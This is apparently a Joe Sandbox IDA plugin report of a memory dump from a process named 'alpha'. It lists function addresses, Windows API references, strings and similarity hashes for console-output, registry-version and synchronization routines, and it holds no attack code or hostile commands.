Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Write_get_osfhandle$Mode
String ID:
API String ID: 1066134489-0
Opcode ID: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction ID: 70e58f1ac48ebf456bd9a9f1f1b61df7aa01bd05b093d6df805d023acdc09c42
Opcode Fuzzy Hash: 989124be994080129bedea4b9ae1d4c283fccc3ce7243235c73d6b8a7e8f68c3
Instruction Fuzzy Hash: D4519221B08F4E87EB286F11940457AE6A1EF5C7B4F984535DE8A03B90DF3CE44C8B28

Function 00007FF718D536EC Relevance: 9.1, APIs: 6, Instructions: 93fileCOMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D53715
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D53770
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53791
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5E96E
WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D5E9A7
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5E9D5

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: FileWrite$ByteCharMultiWide$_get_osfhandle
String ID:
API String ID: 3249344982-0
Opcode ID: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction ID: 67fee4a820dd34b833065ab626e3ab4b5b73ba4fc3aa5b9ff05d23ee2c31bdea
Opcode Fuzzy Hash: 51d05573790b3cf5d3d64b049944166340f1b2bbc10c5d821001f089b8cff74b
Instruction Fuzzy Hash: 8A413E72A18F4986E314AF11A845369FAB4FB8DFE8F844235DA8907794CF3CD15C8B14

Function 00007FF718D489C0 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D48A18

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48A62
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D48ABA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D48AE1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5B3FC
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D5B424

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$DriveErrorInformationLastTypeVolume
String ID:
API String ID: 850181435-0
Opcode ID: e30f486a492b6204ca4cfe222f6522b4387915627d195f2e6e30a15257811e7a
Instruction ID: b203889d5f0bb95d178e20f205570ae0586644dc2670e45b89647728603e37eb
Opcode Fuzzy Hash: e30f486a492b6204ca4cfe222f6522b4387915627d195f2e6e30a15257811e7a
Instruction Fuzzy Hash: 2B415932608FC589E7609F21D8452E9F7A0FB89B98F984135DA8D4BB48CF78D54DC714

Function 00007FF718D534A0 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D53578: _get_osfhandle.MSVCRT ref: 00007FF718D53584
Part of subcall function 00007FF718D53578: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
Part of subcall function 00007FF718D53578: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
Part of subcall function 00007FF718D53578: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
Part of subcall function 00007FF718D53578: GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
Part of subcall function 00007FF718D53578: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D53514
_get_osfhandle.MSVCRT ref: 00007FF718D53522
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D53541
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D5355E

Part of subcall function 00007FF718D536EC: _get_osfhandle.MSVCRT ref: 00007FF718D53715
Part of subcall function 00007FF718D536EC: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF718D53770
Part of subcall function 00007FF718D536EC: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D53791

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LockShared$_get_osfhandle$AcquireConsoleFileReleaseWrite$ByteCharHandleModeMultiTypeWide
String ID:
API String ID: 4057327938-0
Opcode ID: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction ID: 316f1a47dd59a251d695d5ce6f62c7713d66e6749d275f795458ea33fc1197f2
Opcode Fuzzy Hash: 88fe3d8dcb1b39454ed35e4d5bc75a190f5634e19a67efeee45e7c5e6c767e8c
Instruction Fuzzy Hash: 91315421E0CF4A87E7587B659441079FAB1EF8D760FD88276D98E83795DE3CE40C8628

Function 00007FF718D6BE30 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

_wcsicmp.MSVCRT ref: 00007FF718D6BE98
_wcsicmp.MSVCRT ref: 00007FF718D6BEC5
_wcsicmp.MSVCRT ref: 00007FF718D6BEFA

Strings

OFF, xrefs: 00007FF718D6BEBB, 00007FF718D6BEDB
KEYS, xrefs: 00007FF718D6BEE2
LIST, xrefs: 00007FF718D6BEF0

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmpwcschr$Heap$AllocProcessiswspace
String ID: KEYS$LIST$OFF
API String ID: 411561164-4129271751
Opcode ID: b81e55aabf7d667b35b65fc1e051a77d11be73535259418c150144ebfd362279
Instruction ID: 753df514f3e1a36935c4872a199873cd5b91fbf6bb99680e7f300a33536de4c1
Opcode Fuzzy Hash: b81e55aabf7d667b35b65fc1e051a77d11be73535259418c150144ebfd362279
Instruction Fuzzy Hash: 8F214B20E48F0F82F754BB25A441175E6A1FB8CBB4FD49235C69E422E5EE2CA44C8728

Function 00007FF718D501B8 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D501C4
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50212
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50228
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D5023C
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D50251

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction ID: d03c1f9f92c3210e64b1e92cb0cb6ea0720e8ec3e6c7208a28a75ab0284fff80
Opcode Fuzzy Hash: 9ca52e2f36e6298e0da0b73f4c48285a799823b45280523adb4bff91af1efe56
Instruction Fuzzy Hash: EB21812190CF8AC7E7546B60A585238FAB0FF4EB75FD44235D99E42694CE3CE84C8729

Function 00007FF718D53578 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00007FF718D53584
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D5359C
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535C3
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535D9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D535ED
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000014,00007FF718D432E8,?,?,?,?,?,?,?,?,?,?,00000000,00000014), ref: 00007FF718D53602

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: LockShared$AcquireConsoleFileHandleModeReleaseType_get_osfhandle
String ID:
API String ID: 513048808-0
Opcode ID: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction ID: 05792f759be9a57b349bcc43e2538aaecb10f58f0d121d656a7d726e6c95407b
Opcode Fuzzy Hash: 03f01a8104886db99b7aad40b47997af4647daf6f98f1b4f0a1f116e85409c1b
Instruction Fuzzy Hash: 5B114F21A08F4A86EB186B64A545078EAB0FF4EB75FD45335DAAE433D0DE3CD44C8715

Function 00007FF718D6711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D671F9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D6720D
OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D67300

Part of subcall function 00007FF718D65740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF718D675C4,?,?,00000000,00007FF718D66999,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D65744

Strings

_p0, xrefs: 00007FF718D671B3
wil, xrefs: 00007FF718D6725E, 00007FF718D67338

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: OpenSemaphore$CloseErrorHandleLast
String ID: _p0$wil
API String ID: 455305043-1814513734
Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction ID: fca50cf682b42d35face77218cc045240f6028504ec657056dbda288d907cf0e
Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
Instruction Fuzzy Hash: 2C61A461B18F8E81EF25AB5594101B9E3A1EF8CBA4FE54632D98E07754EF3CD50D8328

Function 00007FF718D41DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D41E21

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D41F23

Part of subcall function 00007FF718D4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D46E
Part of subcall function 00007FF718D4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D4D485
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D4EE
Part of subcall function 00007FF718D4D3F0: iswspace.MSVCRT ref: 00007FF718D4D54D
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D569
Part of subcall function 00007FF718D4D3F0: wcschr.MSVCRT ref: 00007FF718D4D58C

iswspace.MSVCRT ref: 00007FF718D605B0

Strings

%s, xrefs: 00007FF718D41EF3

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$Heapiswspacememset$AllocProcess
String ID: %s
API String ID: 2401724867-3043279178
Opcode ID: 740c75b15b64cf7ac9eb9688b57878eb6de44e609a22920e9cf606d70b52c251
Instruction ID: ee73df1af08d14a386c196af009c4c73d0108abaa8434dca28edcc9b60a49866
Opcode Fuzzy Hash: 740c75b15b64cf7ac9eb9688b57878eb6de44e609a22920e9cf606d70b52c251
Instruction Fuzzy Hash: 3B51A172A08F8A85EB20AF21D8412B9F3B1EB4DBA4F844135DA8D47694EF3CD44DC724

Function 00007FF718D4E260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT(?,?,00007FF718D4E157), ref: 00007FF718D4E29D
iswdigit.MSVCRT(00000000,?,?,00007FF718D4E157), ref: 00007FF718D4E310

Strings

GeToken: (%x) '%s', xrefs: 00007FF718D5CC39

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: iswdigit
String ID: GeToken: (%x) '%s'
API String ID: 3849470556-1994581435
Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction ID: 9cc2e445f1ee9d40ed7eecbf0cf4da1e4b74159ba150e642cccb1a79acf2aaa9
Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
Instruction Fuzzy Hash: 6F515A3190CF4A95E724AF56A484179F7A0BB58B34F888575DACD43A91DF7CE44CC328

Function 00007FF718D6992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D69A10
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D69994

Part of subcall function 00007FF718D6A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A77A
Part of subcall function 00007FF718D6A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A839
Part of subcall function 00007FF718D6A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF718D69A82), ref: 00007FF718D6A850

wcsrchr.MSVCRT ref: 00007FF718D69A62

Strings

%s=%s, xrefs: 00007FF718D699E1, 00007FF718D69AA0
., xrefs: 00007FF718D699AA

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorLast$CloseEnumOpenwcsrchr
String ID: %s=%s$.
API String ID: 3242694432-4275322459
Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction ID: b51e6a082f48b20e9b2cda08afb49785b4f931f4ab9086aa061549c0067b45f6
Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
Instruction Fuzzy Hash: B2419F21A09F4E96EF14BB52A0502B9E2A1EF4D7B0FA44231DDDD077D5DE3CE44D8228

Function 00007FF718D654B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D654E6
CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D6552E

Part of subcall function 00007FF718D6758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF718D66999,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D675AE
Part of subcall function 00007FF718D6758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF718D66999,?,?,?,?,?,00007FF718D58C39), ref: 00007FF718D675C6

Strings

Local\SM0:%d:%d:%hs, xrefs: 00007FF718D654F7
wil, xrefs: 00007FF718D65592, 00007FF718D655B8, 00007FF718D655E2, 00007FF718D65674
x, xrefs: 00007FF718D65501

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorLast$CreateCurrentMutexProcess
String ID: Local\SM0:%d:%d:%hs$wil$x
API String ID: 779401067-630742106
Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction ID: fdfde9f4f1a61e2d858a5bfb858fd15130f35a21367ceb26d64344892a4c5122
Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
Instruction Fuzzy Hash: D6516372618F8E81EB11AB55E4016FAE360EB887A4FE04032EA8D47A55DE3CD44DC724

Function 00007FF718D5417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D541AD
towupper.MSVCRT ref: 00007FF718D541E1

Strings

:, xrefs: 00007FF718D541F2
:, xrefs: 00007FF718D5ECC3

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CurrentDirectorytowupper
String ID: :$:
API String ID: 238703822-3780739392
Opcode ID: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction ID: d5088a22474bd482a6a7f71596e2fc7e46b816613df507a7f2b26d831fd6d3bf
Opcode Fuzzy Hash: a6328a6c3dc4b43d0528279963caee78f723bc6a38f6b0cfe87d14265630f542
Instruction Fuzzy Hash: BD112292608B4582EB24AB61A80563AF6B0FF4D7A9FC58232DD8D07794DE3CD00D8728

Function 00007FF718D458D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45903
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45943
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D45956

Strings

UBR, xrefs: 00007FF718D4593C
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF718D458F5

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
